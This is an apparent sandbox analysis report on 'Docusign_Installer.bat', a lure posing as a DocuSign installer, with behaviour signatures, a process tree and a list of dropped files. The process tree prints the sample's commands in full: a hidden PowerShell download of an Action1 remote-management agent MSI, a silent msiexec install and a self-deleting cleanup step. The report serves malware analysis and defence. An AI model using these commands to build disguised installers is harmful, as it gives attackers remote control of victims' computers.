Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 07:08

General

  • Target
    Docusign_Installer.bat
  • Size 1KB
  • Sample260804-hyn3catelf
  • SHA256 3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 37 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 21 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:3448
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
        2⤵
          PID:3752
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "try {Invoke-WebRequest -Uri 'https://app.na-2.action1.com/agent/7fdfa464-7f6a-11f1-b7e6-37df2a619ce9/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pkg.msi' -ErrorAction Stop} catch {exit 1}"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3616
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /qn /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat' -Force"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Deletes itself
          • Suspicious behavior: EnumeratesProcesses
          PID:4776
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3064
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 309506744104C3F876CBECEC0F1C1B70
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4988
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 75B8AC3FB840A535F5D1BC2B6F4A3380 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4124
      • C:\Windows\Action1\action1_agent.exe
        C:\Windows\Action1\action1_agent.exe service
        1⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2672
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\Action1\action1_agent.exe
            "C:\Windows\Action1\action1_agent.exe" loggedonuser
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2956
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1704

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e58c216.rbs

            • Path C:\Config.Msi\e58c216.rbs
            • Size 240KB
            • SHA256 de4dbe683a5d6050ceab893e9913f13da1a0e53f71a6afa5ba04b1286097733a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e58c217.rbs

            • Path C:\Config.Msi\e58c217.rbs
            • Size 7KB
            • SHA256 4aa55ef4e81ccad0804565e17a4288ab62f4f4a634a610f91271d85254dcce8e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 ff671c40aec28aad54dcc6b88ad358559a26d45c80192c04d2e51f8aac76f0a8
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_v13hd1kh.tln.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v13hd1kh.tln.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            pkg.msi

            • Path C:\Users\Admin\AppData\Local\Temp\pkg.msi
            • Size 6.8MB
            • SHA256 66debf86917df83671d18099230da8593f2a6368af6c81ed3987f95ea99db0c8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            action1_agent.exe

            • Path C:\Windows\Action1\action1_agent.exe
            • Size 8.9MB
            • SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            advanced_settings.json

            • Path C:\Windows\Action1\advanced_settings.json
            • Size 54KB
            • SHA256 aac1d73f5028d5726a31dc92d467b6e8cc9f8ca4539b0b21aefd0162f52a47c5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DataSource_1004.ps1

            • Path C:\Windows\Action1\scripts\DataSource_1004.ps1
            • Size 55KB
            • SHA256 3c0ea3f83d6ebfdbd36de8df82fca5524f1954bba51485f0590857b62ef6eb2f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DataSource_1008.ps1

            • Path C:\Windows\Action1\scripts\DataSource_1008.ps1
            • Size 20KB
            • SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI15E.tmp

            • Path C:\Windows\Installer\MSI15E.tmp
            • Size 387KB
            • SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI325.tmp

            • Path C:\Windows\Installer\MSI325.tmp
            • Size 234KB
            • SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            powershell.exe.log

            • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 726d2b3a5003e478f61d3626a078477d2ce3caa24520bafefc1750edd68ef617
            • MD5 SHA1 SHA512 TLSH

            memory/1704-143-0x0000021863E00000-0x0000021863EB5000-memory.dmp

            memory/1704-146-0x0000021864040000-0x0000021864064000-memory.dmp

            memory/1704-145-0x0000021864040000-0x000002186406A000-memory.dmp

            memory/1704-144-0x0000021863EC0000-0x0000021863ECA000-memory.dmp

            memory/1704-142-0x0000021863DE0000-0x0000021863DFC000-memory.dmp

            memory/3616-8-0x0000018354F50000-0x0000018354F72000-memory.dmp

            memory/3616-0-0x000001833AA80000-0x000001833AA90000-memory.dmp

            memory/3616-1-0x000001833AA80000-0x000001833AA90000-memory.dmp

            memory/3616-10-0x000001833AA80000-0x000001833AA90000-memory.dmp